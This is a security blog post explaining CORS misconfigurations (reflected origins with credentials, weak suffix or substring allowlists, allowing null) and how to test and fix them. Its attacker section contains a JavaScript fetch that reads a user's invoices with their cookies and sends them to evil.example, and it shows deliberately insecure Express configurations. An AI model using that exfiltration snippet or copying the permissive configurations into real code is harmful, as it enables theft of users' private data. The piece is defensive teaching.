AleannLab

CORS Wide Open: When "Allow Any Origin" Lets Other Sites Use Your API

AleannLab team2 min read

CORS is the browser rule that stops a page on one site from reading responses from another. The dangerous configuration is an API that echoes back whatever Origin it receives together with Access-Control-Allow-Credentials: true. With that, any website your user visits can call your API with their cookies and read the result. Allow a short list of exact origins, and only send the credentials header to those.

On this page
  1. What the mistake looks like
  2. What an attacker does with it
  3. When is fine
  4. Test yours
  5. Fix it
  6. What CORS does not do

CORS errors are among the most searched problems in web development, and the fastest "fix" is to allow everything. AI assistants apply that fix readily, because the prompt was "make the CORS error go away".

What the mistake looks like

TypeScript
// Express
app.use(cors({ origin: true, credentials: true }));

origin: true reflects the request's origin. Hand-written versions do the same:

TypeScript
res.setHeader('Access-Control-Allow-Origin', req.headers.origin ?? '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

Browsers refuse the combination of a literal * with credentials, which is why code reflects the origin instead. The result is the same as *, minus the browser's safety check.

Weak allowlists are the second variant:

TypeScript
if (origin.endsWith('yourapp.com')) allow(origin);   // matches evil-yourapp.com
if (origin.includes('yourapp.com')) allow(origin);   // matches yourapp.com.evil.example

And a third: allowing null, which sandboxed iframes and local files send.

What an attacker does with it

They put this on any page and get your user to open it:

JavaScript
fetch('https://api.yourapp.com/me/invoices', { credentials: 'include' })
  .then(r => r.json())
  .then(data => fetch('https://evil.example/collect', { method: 'POST', body: JSON.stringify(data) }));

Your API sees a valid session cookie, answers, and tells the browser that this foreign page may read the answer.

Whether the cookie is sent at all depends on its SameSite setting. Cookies set to SameSite=None (common when the frontend and API live on different sites) go along with the request. So the apps most likely to have loosened CORS are also the ones most exposed.

When * is fine

A public, read-only API with no cookies and no per-user data can send Access-Control-Allow-Origin: *. So can public static assets. The problem is credentials plus a permissive origin, not the star itself.

An API that authenticates with a bearer token in a header is less exposed, because another site cannot make the browser attach that token. Keep the allowlist anyway. It costs nothing.

Test yours

bash
curl -s -I https://api.yourapp.com/me \
  -H "Origin: https://evil.example" | grep -i "access-control"

If the response contains access-control-allow-origin: https://evil.example and access-control-allow-credentials: true, you have the bug. Repeat with Origin: null and with https://yourapp.com.evil.example.

Fix it

Exact matches against a list:

TypeScript
const ALLOWED = new Set([
  'https://yourapp.com',
  'https://app.yourapp.com',
  ...(process.env.NODE_ENV === 'development' ? ['http://localhost:3000'] : []),
]);

app.use(cors({
  origin: (origin, cb) => cb(null, !origin || ALLOWED.has(origin)),
  credentials: true,
}));

Requests without an Origin header (curl, server-to-server) are not subject to CORS, so allowing them here changes nothing for browsers.

In a Next.js route handler:

TypeScript
const origin = req.headers.get('origin') ?? '';
const headers = new Headers({ Vary: 'Origin' });
if (ALLOWED.has(origin)) {
  headers.set('Access-Control-Allow-Origin', origin);
  headers.set('Access-Control-Allow-Credentials', 'true');
}

Vary: Origin matters when a CDN caches responses: without it, one origin's headers can be served to another.

For preview deployments with changing URLs, match a strict pattern anchored at both ends, for example /^https:\/\/myapp-[a-z0-9-]+-myteam\.vercel\.app$/, and never a bare endsWith.

What CORS does not do

CORS controls who may read responses in a browser. It does not authenticate anyone and does not stop requests from being sent. curl ignores it completely. Simple cross-site POSTs still reach your server, which is the subject of our post on CSRF. Every endpoint still needs its own auth check, as described in auth checked only in the UI.

If you want your API's CORS, cookies and auth reviewed together, that is part of our app rescue and security audit.

All articles →

Gotowy, aby omówić swój projekt z nami?

idea
*
*
*
Interesuje mnie...
Tworzenie stron internetowych
Tworzenie aplikacji
Projektowanie UX/UI
DevOps
Sztuczna inteligencja i uczenie maszynowe
Testowanie QA
Tworzenie aplikacji mobilnych
Konsultacja
Outsourcing
Budżet projektu (USD)
≤ $5K
$10K-$20K
$30K-$40K
$50K-$60K
>$100K
Prześlij plik